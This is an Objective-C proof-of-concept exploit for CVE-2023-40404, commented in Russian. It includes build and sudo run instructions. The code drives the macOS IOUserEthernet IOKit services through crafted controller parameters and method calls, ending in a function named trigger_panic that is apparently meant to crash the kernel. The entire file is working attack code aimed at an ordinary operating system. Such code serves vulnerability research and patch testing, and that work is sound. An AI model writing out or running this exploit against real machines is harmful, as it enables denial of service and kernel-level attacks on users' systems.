#import #include #include #include #include #include #include #include #include #include #include #include // PoC для CVE-2023-40404 // Компиляция: clang GenEtherExploit.m -o GenEtherExploit -framework IOKit -framework Foundation // Запуск: sudo ./GenEtherExploit // Функция для обработки ошибок void check_status(int kr, const char *message) { if (kr != KERN_SUCCESS) { printf("[Ошибка] %s, код: 0x%x\n", message, kr); exit(EXIT_FAILURE); } } // Функция для создания словаря параметров контроллера CFMutableDictionaryRef create_controller_params(void) { CFMutableDictionaryRef controller_params = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); // Устанавливаем минимальный и максимальный размер пакета uint32_t min_size = 64; uint32_t max_size = 1024; CFDictionarySetValue(controller_params, CFSTR("MinPacketSize"), CFNumberCreate(NULL, kCFNumberSInt32Type, &min_size)); CFDictionarySetValue(controller_params, CFSTR("MaxPacketSize"), CFNumberCreate(NULL, kCFNumberSInt32Type, &max_size)); // Устанавливаем аппаратный адрес (MAC) uint8_t mac_address[6] = {0x36, 0x23, 0xab, 0x2d, 0xe7, 0x40}; CFDictionarySetValue(controller_params, CFSTR("HardwareAddress"), CFDataCreate(NULL, mac_address, 6)); // Устанавливаем префикс имени CFDictionarySetValue(controller_params, CFSTR("NamePrefix"), CFSTR("xLAN")); return controller_params; } // Функция для подключения к сервису Ethernet io_connect_t connect_to_ethernet_service() { io_service_t ethernet_service = IOServiceGetMatchingService(kIOMainPortDefault, IOServiceMatching("IOUserEthernetResource")); io_connect_t user_client_port = 0; // Открытие соединения с сервисом int status = IOServiceOpen(ethernet_service, mach_task_self(), 0, &user_client_port); check_status(status, "Ошибка при открытии соединения с сервисом Ethernet"); printf("[Информация] Подключение к сервису Ethernet выполнено, user_client_port: %d\n", user_client_port); IOObjectRelease(ethernet_service); return user_client_port; } // Функция для создания контроллера Ethernet void create_ethernet_controller(io_connect_t user_client_port, CFMutableDictionaryRef controller_params) { // Сериализация параметров контроллера CFDataRef serialized_params = IOCFSerialize(controller_params, kIOCFSerializeToBinary); uint64_t controller_output = 0; uint32_t controller_output_size = 1; // Вызов метода для создания контроллера int status = IOConnectCallMethod(user_client_port, 0, 0, 0, (void *)CFDataGetBytePtr(serialized_params), CFDataGetLength(serialized_params), &controller_output, &controller_output_size, 0, 0); check_status(status, "Ошибка при создании контроллера Ethernet"); printf("[Информация] Контроллер создан успешно, статус: 0x%x\n", status); } // Функция для получения сетевого интерфейса Ethernet io_connect_t get_ethernet_interface() { io_iterator_t interface_iterator = 0; // Получаем сервис Ethernet-интерфейса IOServiceGetMatchingServices(kIOMainPortDefault, IOServiceMatching("IOUserEthernetInterface"), &interface_iterator); io_service_t ethernet_interface = IOIteratorNext(interface_iterator); IOObjectRelease(interface_iterator); // Открываем соединение с интерфейсом io_connect_t network_client = 0; int status = IOServiceOpen(ethernet_interface, mach_task_self(), 0xFF000001, &network_client); check_status(status, "Ошибка при открытии соединения с интерфейсом Ethernet"); printf("[Информация] Интерфейс Ethernet подключен, network_client: %d\n", network_client); IOObjectRelease(ethernet_interface); return network_client; } // Функция для выполнения операций и сбора статистики сети void gather_network_stats(io_connect_t network_client) { // Подготовка ключа для получения данных о сети char network_key[128] = "IONetworkStatsKey"; int network_stats_output = 0; size_t network_stats_output_size = sizeof(network_stats_output); // Вызов метода для получения данных о сети int status = IOConnectCallStructMethod(network_client, 4, network_key, sizeof(network_key), &network_stats_output, &network_stats_output_size); check_status(status, "Ошибка при сборе сетевой статистики"); printf("[Информация] Сетевая статистика собрана, статус: 0x%x, данные: %d\n", status, network_stats_output); } // Главная функция для выполнения эксплойта void trigger_panic() { // Подключаемся к сервису Ethernet io_connect_t ethernet_service_client = connect_to_ethernet_service(); // Создаем словарь параметров для контроллера Ethernet CFMutableDictionaryRef controller_params = create_controller_params(); // Создаем контроллер Ethernet create_ethernet_controller(ethernet_service_client, controller_params); // Получаем сетевой интерфейс io_connect_t ethernet_interface_client = get_ethernet_interface(); // Собираем статистику сети gather_network_stats(ethernet_interface_client); // Закрываем соединения IOServiceClose(ethernet_interface_client); IOServiceClose(ethernet_service_client); printf("[Завершено] Операции завершены, проверьте состояние системы.\n"); } // Точка входа int main() { trigger_panic(); return 0; }